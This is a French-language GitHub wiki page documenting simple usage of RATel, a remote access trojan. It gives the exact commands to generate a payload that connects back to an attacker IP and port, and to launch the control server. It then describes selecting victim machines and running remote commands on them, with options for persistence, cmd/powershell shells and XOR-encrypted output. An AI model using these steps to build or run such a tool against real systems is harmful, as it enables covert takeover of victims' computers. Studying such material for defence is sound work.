Skip to content

Simple usage

FrenchCisco edited this page Feb 10, 2021 · 1 revision

Simple usage

Cette documentation a pour but de vous présenter l'utilisation simple de RATel.

Pour plus de détails sur les outils de RATel, je vous invite à aller sur le wiki de mon répertoire Github: https://github.com/FrenchCisco/RATel/wiki


Mise en situation:

Mon laboratoire est constitué de 3 machines:

  • machine 1: L'attaquant (serveur) 192.168.0.98
  • machine 2 : La victime (client 1) 192.168.0.84
  • machine 3 : La victime (client 2) 192.168.0.16

Première étape:

La première étape consiste a générer le RAT. Pour cela j'ai écrit un script qui prend plusieurs arguments (RATelGenerator.py). Lien de la documentation: https://github.com/FrenchCisco/RATel/wiki/Usage-RATelGenerator

1.png

commande: $ /usr/bin/python3 RATelGenerator.py --port 12345 --ip 192.168.0.98 --name ratel.exe --password ciscoTheBoss

arguments:

Argument Commant
--port 12345 Se connecte sur le port 12345 .
--ip 192.168.0.98 L’adresse IP du serveur.
--name ratel.exe Le nom du RAT.
--password ciscoTheBoss Le mot de passe pour chiffrer et déchiffrer les données.

RATelGenerator crée le RAT dans le fichier payload:

2.png


Seconde étape :

Une fois le RAT généré, nous pouvons désormais démarrer le serveur (RATelServer.py). Lien de la documentation: https://github.com/FrenchCisco/RATel/wiki/Documentation-RATelServer-Argument

commande: $ /usr/bin/python3 RATelServer.py --port 12345 --password ciscoTheBoss --time 5 –clean

arguments:

Argument Commant
--port 12345 écoute sur le port 12345 .
--password ciscoTheBoss Le mot de passe pour chiffrer et déchiffrer les données.
--time 5 Ping toutes les machines toutes les 5 secondes.
--clean Supprime les données de la base de données.

3.png


Troisième étape :

Une fois le serveur lancé, nous pouvons exécuter ratel.exe sur la machine 2 et sur la machine 3.

4.png

Pour avoir plus de détails sur les modes ainsi que sur les commandes du serveur, je vous invite à aller sur la documentation du serveur: https://github.com/FrenchCisco/RATel/wiki/Usage--RATelServer

Pour pouvoir sélectionner un client afin d'exécuter des commandes, la commande est: --target .

Si je veux sélectionner la machine numéro 3, la commande est : --target 0

5.png

Une fois fois la machine 3 sélectionnée, nous pouvons exécuter plusieurs commandes comme l’exécution de codes chiffrés via l'algorithme XOR, lancer une persistante, créer un processus cmd.exe ou un processus powershell.exe, détruire et déconnecter le RAT, etc .Si vous désirez voir l’intégralité des commandes du mode session, vous pouvez exécuter la commande --help .

6.png

Dans cette documentation je vais juste vous parler de la commande “-c”.


Quatrième étape :

Explication du foctionnement :

La commande “-c” créer un processus enfant sur la machine distante qui exécute la commande reçue. Un tuyau anonyme est donc créé pour lire le résultat du processus enfant puis le stocke dans une variable. La variable ensuite est chiffrée avec algorithme XOR. Une fois le résultat chiffré, le résultat est envoyé au serveur.

Je me suis inspiré de cette documentation: https://docs.microsoft.com/en-us/windows/win32/procthread/creating-a-child-process-with-redirected-input-and-output

Les limites de la commande “-c”:

Il est impossible d'exécuter des commandes qui nécessitent une entrée (stdin) comme FTP, ssh, diskpart, etc. Le rat deviendra un "zombie" et une exception timeout se déclenchera. Pour effectuer des commandes qui nécessitent une entrée (stdin), je vous recommande la commande “--command" ou “--powershell". Le seul inconvenient de ces deux dernières commandes c'est que les données ne sont pas chiffrées. Il sera donc possible de voir le résultat des commandes en clair sur le réseau.

Démonstration:
Le résultat de la commande “dir”:

7.png

La trame sur le réseau:

8.png